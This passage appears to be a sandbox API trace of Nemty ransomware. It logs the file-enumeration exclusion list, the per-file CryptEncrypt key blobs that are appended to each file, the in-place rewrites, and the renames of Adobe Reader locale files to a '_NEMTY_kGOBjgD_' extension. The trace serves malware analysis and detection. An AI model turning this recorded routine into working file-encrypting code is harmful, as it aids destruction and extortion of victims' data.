RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SUO", lpUsedDefaultChar=0x0) returned 17 [0176.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.465] Sleep (dwMilliseconds=0x5) [0176.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cd66810, dwHighDateTime=0x1d561e8)) [0176.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cd66810, dwHighDateTime=0x1d561e8)) [0176.481] GetLastError () returned 0xb7 [0176.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.481] GetLastError () returned 0xb7 [0176.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.481] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.481] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.481] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.481] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="SD2iyCsAm7KxTOihIhqMRP+RiuLRBAUgw6SJrt+m5TisSijrsxBEhm7n+8YPvSNs\r\nwRQlfzw8lWojdtK9i96h6dx874ZhvaaOC+HVqcSZeckkwPC9AkH88b30ly10NMFf\r\nCsOQwJf0SUZh7YSohjsv8rOqQTfWyGyVHU4zca9EV4QFkra182/yK5Mvm8fa1b5f\r\ngjezjhPvq8uc9z5aqHoppTguqVc/TSsK3SzIZH3TQXttT6XFxzqAdPcjlouOzixQ\r\nGM00Pm3PGcYIJlZAk13MYQ7C/vGORgRIiJLZevyo9T/qIr29J3owIz9AlYRW6bWh\r\nx8UiBmcx/cWp/VaW3eEqew==\r\n", pcchString=0x653e5dc) returned 1 [0176.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.482] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=42496) returned 1 [0176.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa600) returned 0x6352c48 [0176.482] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.482] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa600, lpOverlapped=0x0) returned 1 [0176.486] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.486] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa600, lpOverlapped=0x0) returned 1 [0176.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.486] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600 [0176.486] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.486] CloseHandle (hObject=0x2e8) returned 1 [0176.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.487] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo._nemty_kgobjgd_")) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.487] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.SUO", cAlternateFileName="")) returned 1 [0176.487] lstrcmpiW (lpString1="Acroform.SUO", lpString2=".") returned 1 [0176.487] lstrcmpiW (lpString1="Acroform.SUO", lpString2="..") returned 1 [0176.487] lstrcmpiW (lpString1="Acroform.SUO", lpString2="...") returned 1 [0176.487] lstrcmpiW (lpString1="Acroform.SUO", lpString2="windows") returned -1 [0176.487] lstrcmpiW (lpString1="Acroform.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.487] lstrcmpiW (lpString1="Acroform.SUO", lpString2="rsa") returned -1 [0176.487] lstrcmpiW (lpString1="Acroform.SUO", lpString2="NTDETECT.COM") returned -1 [0176.487] lstrcmpiW (lpString1="Acroform.SUO", lpString2="ntldr") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="MSDOS.SYS") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="IO.SYS") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="boot.ini") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="boot.ini") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="AUTOEXEC.BAT") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="ntuser.dat") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="desktop.ini") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="CONFIG.SYS") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="RECYCLER") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="BOOTSECT.BAK") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="bootmgr") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="programdata") returned -1 [0176.488] lstrcmpiW (lpString1="Acroform.SUO", lpString2="appdata") returned -1 [0176.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.489] Sleep (dwMilliseconds=0x5) [0176.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cd8c970, dwHighDateTime=0x1d561e8)) [0176.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cd8c970, dwHighDateTime=0x1d561e8)) [0176.496] GetLastError () returned 0x0 [0176.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.496] GetLastError () returned 0x0 [0176.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.497] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.497] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="7A6eOdfzzQTVjCDypQTO4av0iDVjqY2KylOOQrXTjxAP7fQvZ5FnahhRO4l60vTW\r\nPkO7ehNVT0pbAK98X26Lm9gB3874SLlMna5DhCoUswNPu5FS9LaTPUpPuFsHYUWL\r\nmmLTQAtXVTGns0U7otp2GycObg7Vjjy2/+wM9Vgv4LYxcjDRZLgypB+vSRIwJuS0\r\n/hEynDrCgLvpbgUBkW8Niyd0/M2jIuh40/RZ3t1+gVknP+SznFhkLIXIJGc56+oy\r\nBbT3V4OX98gblQO+2NqoksPWlQKJuTHvVzfzzN7aJ3WMCjTlocexUUlXDt64+iQw\r\nrbDjlca+JYPqyhGhl8DTPQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.498] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=408064) returned 1 [0176.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.498] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.498] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.506] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.507] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.507] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=408064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63a00 [0176.507] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.508] CloseHandle (hObject=0x2e8) returned 1 [0176.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.509] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo._nemty_kgobjgd_")) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.509] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.SUO", cAlternateFileName="ADOBEC~1.SUO")) returned 1 [0176.509] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2=".") returned 1 [0176.509] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="..") returned 1 [0176.509] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="...") returned 1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="windows") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="rsa") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="NTDETECT.COM") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="ntldr") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="MSDOS.SYS") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="IO.SYS") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="boot.ini") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="boot.ini") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="AUTOEXEC.BAT") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="ntuser.dat") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="desktop.ini") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="CONFIG.SYS") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="RECYCLER") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="BOOTSECT.BAK") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="bootmgr") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="programdata") returned -1 [0176.510] lstrcmpiW (lpString1="AdobeCollabSync.SUO", lpString2="appdata") returned -1 [0176.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SUO", lpUsedDefaultChar=0x0) returned 19 [0176.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 